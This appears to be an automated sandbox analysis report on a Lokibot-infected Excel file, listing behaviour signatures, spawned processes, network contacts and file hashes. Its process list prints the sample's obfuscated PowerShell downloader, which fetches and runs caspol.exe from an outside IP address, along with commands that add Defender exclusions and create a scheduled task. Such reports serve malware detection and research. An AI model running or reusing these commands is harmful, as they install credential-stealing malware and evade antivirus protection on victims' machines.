Analysis Overview
SHA256
002eb261ac533e6ec256236996b229688b08f56aa143f2b2a257c215bfba0195
Threat Level: Known bad
The file 002eb261ac533e6ec256236996b229688b08f56aa143f2b2a257c215bfba0195.xls was found to be: Known bad.
Malicious Activity Summary
Lokibot family
Process spawned unexpected child process
Lokibot
Blocklisted process makes network request
Command and Scripting Interpreter: PowerShell
Evasion via Device Credential Deployment
Downloads MZ/PE file
Executes dropped EXE
Reads user/profile data of web browsers
Loads dropped DLL
Accesses Microsoft Outlook profiles
Drops file in System32 directory
Suspicious use of SetThreadContext
Enumerates physical storage devices
System Location Discovery: System Language Discovery
Suspicious use of AdjustPrivilegeToken
Suspicious behavior: AddClipboardFormatListener
Suspicious use of WriteProcessMemory
Uses Volume Shadow Copy service COM API
Suspicious use of SetWindowsHookEx
Scheduled Task/Job: Scheduled Task
Enumerates system info in registry
Checks processor information in registry
Suspicious behavior: EnumeratesProcesses
Uses Volume Shadow Copy WMI provider
Uses Task Scheduler COM API
outlook_win_path
Modifies Internet Explorer settings
outlook_office_path
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-19 02:01
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-19 02:01
Reported
2024-11-19 02:03
Platform
win7-20240903-en
Max time kernel
138s
Max time network
152s
Command Line
Signatures
Lokibot
Lokibot family
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
Evasion via Device Credential Deployment
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe | N/A |
Reads user/profile data of web browsers
Accesses Microsoft Outlook profiles
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe | N/A |
| File opened for modification | C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 2972 set thread context of 108 | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | C:\Users\Admin\AppData\Roaming\caspol.exe |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\schtasks.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Internet Explorer\Main | C:\Windows\SysWOW64\mshta.exe | N/A |
Scheduled Task/Job: Scheduled Task
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
outlook_office_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
outlook_win_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Processes
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\002eb261ac533e6ec256236996b229688b08f56aa143f2b2a257c215bfba0195.xls
C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe -Embedding
C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe
"C:\Windows\sYStem32\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe" "PowErShEll -EX bYPaSS -nOp -w 1 -c DEvicEcREdENTIAlDEplOyMenT ; INvoKe-eXPrEssIOn($(InvoKe-eXPRessIon('[sYsteM.tExT.eNcODing]'+[ChaR]0x3A+[cHAr]58+'utF8.GetstrIng([SYStEM.CoNVErT]'+[cHAr]58+[CHaR]58+'FROmbASE64STRinG('+[ChAR]34+'JFo3VE02ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC10WVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJFckRFZmluSXRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbU9OLkRMbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEwsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTnJwdCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBGaUVJdnlPaGJJcyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWVCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInVwIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBPZ2NBUnYgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFo3VE02OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjMuMjQzLjEzNi8zNy9jYXNwb2wuZXhlIiwiJGVuVjpBUFBEQVRBXGNhc3BvbC5leGUiLDAsMCk7c1RBUlQtc0xFRVAoMyk7aUV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTnY6QVBQREFUQVxjYXNwb2wuZXhlIg=='+[CHAr]0x22+'))')))"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX bYPaSS -nOp -w 1 -c DEvicEcREdENTIAlDEplOyMenT
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\-jhcacjd.cmdline"
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD74D.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCD74C.tmp"
C:\Users\Admin\AppData\Roaming\caspol.exe
"C:\Users\Admin\AppData\Roaming\caspol.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\caspol.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\pYSJOdJUV.exe"
C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\pYSJOdJUV" /XML "C:\Users\Admin\AppData\Local\Temp\tmp8527.tmp"
C:\Users\Admin\AppData\Roaming\caspol.exe
"C:\Users\Admin\AppData\Roaming\caspol.exe"
C:\Users\Admin\AppData\Roaming\caspol.exe
"C:\Users\Admin\AppData\Roaming\caspol.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | link.uebie.de | udp |
| DE | 5.45.108.48:443 | link.uebie.de | tcp |
| US | 8.8.8.8:53 | e6.o.lencr.org | udp |
| GB | 88.221.135.115:80 | e6.o.lencr.org | tcp |
| US | 192.3.243.136:80 | 192.3.243.136 | tcp |
| DE | 5.45.108.48:443 | link.uebie.de | tcp |
| US | 192.3.243.136:80 | 192.3.243.136 | tcp |
| US | 192.3.243.136:80 | 192.3.243.136 | tcp |
| US | 8.8.8.8:53 | crl.microsoft.com | udp |
| GB | 2.19.252.143:80 | crl.microsoft.com | tcp |
| US | 8.8.8.8:53 | www.microsoft.com | udp |
| GB | 95.100.245.144:80 | www.microsoft.com | tcp |
| DE | 94.156.177.95:80 | tcp | |
| DE | 94.156.177.95:80 | tcp | |
| DE | 94.156.177.95:80 | tcp | |
| DE | 94.156.177.95:80 | tcp | |
| DE | 94.156.177.95:80 | tcp |
Files
memory/2092-1-0x0000000072B0D000-0x0000000072B18000-memory.dmp
memory/2092-0-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/3012-16-0x0000000000AE0000-0x0000000000AE2000-memory.dmp
memory/2092-17-0x0000000003160000-0x0000000003162000-memory.dmp
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B083487247EB8FBD76503EF0DA269B6B
| MD5 | dfe9d40108cd6499968560d0319998c6 |
| SHA1 | 6b79281f7efec1b9fb942e6e0cd3eb5e9f776e73 |
| SHA256 | 1dc7e4150fff57a7423b4d0ebeb3a5f966593b4dad4b803840f6c4a2f814951e |
| SHA512 | 5d4d685a5f15372d4ae8fdc08ab92d2f2f173f586b58315d35a62318f71b9fce7f84b4501f50024e95225a53856ab8170bcf1adf8805eaddb392250082c9ff56 |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B083487247EB8FBD76503EF0DA269B6B
| MD5 | d0a441211f6bcb852dd7c33a0723a636 |
| SHA1 | 2004ff80a11877e82b645ba1e8b61cb753fa921d |
| SHA256 | 287650f9904136bab5f5eca0ba62fd9a11bcc3e7103b999c5f172e6f1c312dcd |
| SHA512 | c7f0d9cfdae089c36ef43007c66e0602d36d3620f8c7f77b582e4984381ba0f3113d10c26fdfe4e5085bc6450dd428c41ea3353e6454e7ae0754c159dc197c5e |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751
| MD5 | 822467b728b7a66b081c91795373789a |
| SHA1 | d8f2f02e1eef62485a9feffd59ce837511749865 |
| SHA256 | af2343382b88335eea72251ad84949e244ff54b6995063e24459a7216e9576b9 |
| SHA512 | bacea07d92c32078ca6a0161549b4e18edab745dd44947e5f181d28cc24468e07769d6835816cdfb944fd3d0099bde5e21b48f4966824c5c16c1801712303eb6 |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
| MD5 | 212bf5859cfcd555042a2141d7255281 |
| SHA1 | af1d097ce7613563b85c90ba8b9fcabdb63226f3 |
| SHA256 | 8c95d14f37b8ca677c1d36bbc215a11a6bd483a9c71817db1ec6f15d0c59c369 |
| SHA512 | c814a7af078a1dad6cdde805cf658e3743da6ff03ffd5832c4216dc4c347266b15c29b2ec018ceaa8d72c4de58e797493cf5584ef954c4c300baff95f15e0fec |
C:\Users\Admin\AppData\Local\Temp\CabCADD.tmp
| MD5 | 49aebf8cbd62d92ac215b2923fb1b9f5 |
| SHA1 | 1723be06719828dda65ad804298d0431f6aff976 |
| SHA256 | b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f |
| SHA512 | bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b |
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\K3VL8XEP\givemebestwithentiretimegivenmebestthingsalwaysforgetbacknew[1].hta
| MD5 | f3e18c2fd2190a479b6fb930e6061c2e |
| SHA1 | 88efd851c900d0a32d4876b3cc8be0a50ebec363 |
| SHA256 | 98afd5f972247d0d98dfad43a380dc8390a8ec52c6e6f8cdfcd0a858f2433dce |
| SHA512 | ab0862b5ab48bbd2781ec7397861904bd412fa282ef56ef1212ce15840f3a9dd22cd043b125af83707dae39d433dd03fcb657a1d546f77b3fae6bc32725ade5e |
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
| MD5 | 7d3e9ddead87e0589edbe3cb9c7c4470 |
| SHA1 | 52ae3d317b6c8f92130c1a76a9ea07f89b9f6f58 |
| SHA256 | daa7541b2682c49d22b5aee283a12e1afa70f892b7538cf70f7891c0b0b43888 |
| SHA512 | ac4cc09392dcde7e55e2fb19275b130100c4bf916bf7cf878b7d830e00e0a059408d7fc0de65d75fd01b3cd89f15eaa08ae787e2367a90c7e24610a257a7be63 |
\??\c:\Users\Admin\AppData\Local\Temp\-jhcacjd.cmdline
| MD5 | e9307bdbf015aacd7ad7c5f46a7636a5 |
| SHA1 | 109819bc17b612d370b7ce95dac36ed1ee6288b7 |
| SHA256 | 25f6a916d199526bc49f0034e587f03c201f4d9b4a6d279c88a38426ba74cd84 |
| SHA512 | 83f60994e007e7491fcf73b140c6e549670d515e0459d848860c2bc3b89fd0f79145b5ceefc323f3f91e2fe409053d819167f5959ca373212dddacd001454d15 |
\??\c:\Users\Admin\AppData\Local\Temp\-jhcacjd.0.cs
| MD5 | f8419bbc398e1a2b134eec88b333f8f6 |
| SHA1 | 57ebba4cad00272da80b919df0908ec40f9be48a |
| SHA256 | 25fccfa20b9b6d921f804167f1637df00cdd3203af9c0313f99de7c6e9989db3 |
| SHA512 | b1f4044b7a62e1de69d8e4a8ebf4db6bb24fd40d486ec5e44bd3e6b835e62ef5078c79236ded9c21ce1b0acd3575acaf1908f4fcc6ee12f1fd5f7455c4b14674 |
C:\Users\Admin\AppData\Local\Temp\RESD74D.tmp
| MD5 | 6149bf96e770d68aa7d58124b0888da6 |
| SHA1 | 4ecd16f039a931dfc7dd7cb6bbe6d2f3e58f8d4a |
| SHA256 | 67c4a7871a71a98a42dbc85c42fbf9af95d762aee234063b8d28af3ca8348464 |
| SHA512 | 34a85f33d498f89d115fb1491f51791ee10e137bacc6696df86e166ac5f4b2549913629a50e07b1b61fa984c96bba65f9445de543d13d607b0ea2dd9ee177b97 |
\??\c:\Users\Admin\AppData\Local\Temp\CSCD74C.tmp
| MD5 | fe6cb44a7496669aa00a591bc863a1b8 |
| SHA1 | 2695ddb8265c522fcfe12438f78fbbbd356a9815 |
| SHA256 | 41ee5fc7b27eba8eb4bf0f53d8cec2ee05d213d61118832c8fd623e9cbfc7000 |
| SHA512 | 8a4627e6fa3aaeadb8c1a1cb9fe883ba44851d70de4f7c6a8db21f777ff2db9b27e5975e26be8d0a3c59cadadf5091cfcea0ca07dcdbe392f17e948b468c76b4 |
C:\Users\Admin\AppData\Local\Temp\-jhcacjd.pdb
| MD5 | 5c7984bdd010eade3344ca6c697e161b |
| SHA1 | 45b3a27f7dab0cfac3583880ae043d416fa0458f |
| SHA256 | 13e50af3fed97aa613d349f2f7f4b1d03300303f3ff00c550d779389e71b7d54 |
| SHA512 | 1b4b1269c9014b387d10278fb1525c7df8ba2db0ca2e2a02c13723e8b6aabe1c710f197bc0da89ff4b4ed7a6adc8616362699b73b29542f58346af37f709bca7 |
C:\Users\Admin\AppData\Local\Temp\-jhcacjd.dll
| MD5 | ea74b4933b1b3561d1bbde36a0eed8c2 |
| SHA1 | 734980b04ac172e3c98245e3f5f087808e1541de |
| SHA256 | 118de6e847c9f4578b74f96a617d058dec67f35bff4dd42f9c0c26d8fc544a1b |
| SHA512 | 4013b9904d902ec128d09520818fb18911b4bfdc39d8917a1ed9a428f803f76c987bb59bf054b35e8ef7d1e25ca7871785fd58977aab7483dc669c05c0d6ffab |
memory/2092-60-0x0000000072B0D000-0x0000000072B18000-memory.dmp
\Users\Admin\AppData\Roaming\caspol.exe
| MD5 | 318ff90d7a2797a041b836f7f8900f62 |
| SHA1 | fdda6afed7a1643ae353e7a635e6744c2b0a07d5 |
| SHA256 | 241d0df35796a2c2ae0ae4af70ef9e6571c23536fef35c1c0c172d703203a430 |
| SHA512 | 808942ba5db2e4d3d1d29a52c065acad4fcaae328dc43a3b977234f1b58d2838abf73d03b0992cd0f5ac4939e29f354c6c2ea25a4822a461b8ef74cec0eb3aac |
memory/2972-70-0x00000000011A0000-0x0000000001234000-memory.dmp
memory/2972-71-0x0000000000470000-0x0000000000482000-memory.dmp
memory/2972-72-0x0000000004E70000-0x0000000004ED4000-memory.dmp
\??\PIPE\srvsvc
| MD5 | d41d8cd98f00b204e9800998ecf8427e |
| SHA1 | da39a3ee5e6b4b0d3255bfef95601890afd80709 |
| SHA256 | e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 |
| SHA512 | cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e |
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
| MD5 | d08d49f6c89ca823c27237cdfbb63e0b |
| SHA1 | 580aa20d0738fb303fc1a1598331010db0734869 |
| SHA256 | 844aa5fdabed6399a0f557bebd916c9010c228935dea2b08fc5a5b14da669c9f |
| SHA512 | e14f8c8f8881c11cdb2a31bec2e76329e4c164e28386217edfa1a27a433224e82e64437ab6e74db9a7b3124bdb6049d2eaf48c57a630c40970de92b171df5b8d |
C:\Users\Admin\AppData\Local\Temp\tmp8527.tmp
| MD5 | 0aa25a9c691c2e689c4f17106459c7dc |
| SHA1 | 56a993393f5d43a6cbb6464a552944422d35d128 |
| SHA256 | 73d57db11e1eb896ec5b50416ee53af14a99a8d8a37f30a7a653d22664d6a507 |
| SHA512 | dd4ea3ee5ae49db8a5719a180a0c1e1314168eaabbaba2454d7aa64a03a3596d5a8b55fa7b4afe63c011f7a87f1f148cb9e3d9e619528556429029f5a3cfeadc |
memory/108-89-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/108-103-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/108-100-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/108-99-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
memory/108-97-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/108-95-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/108-93-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/108-91-0x0000000000400000-0x00000000004A2000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3063565911-2056067323-3330884624-1000\0f5007522459c86e95ffcc62f32308f1_de87a6d6-9d44-4942-9ec6-2be31b435411
| MD5 | d898504a722bff1524134c6ab6a5eaa5 |
| SHA1 | e0fdc90c2ca2a0219c99d2758e68c18875a3e11e |
| SHA256 | 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9 |
| SHA512 | 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61 |
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3063565911-2056067323-3330884624-1000\0f5007522459c86e95ffcc62f32308f1_de87a6d6-9d44-4942-9ec6-2be31b435411
| MD5 | c07225d4e7d01d31042965f048728a0a |
| SHA1 | 69d70b340fd9f44c89adb9a2278df84faa9906b7 |
| SHA256 | 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a |
| SHA512 | 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b |
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-19 02:01
Reported
2024-11-19 02:03
Platform
win10v2004-20241007-en
Max time kernel
149s
Max time network
152s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\System32\mshta.exe | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
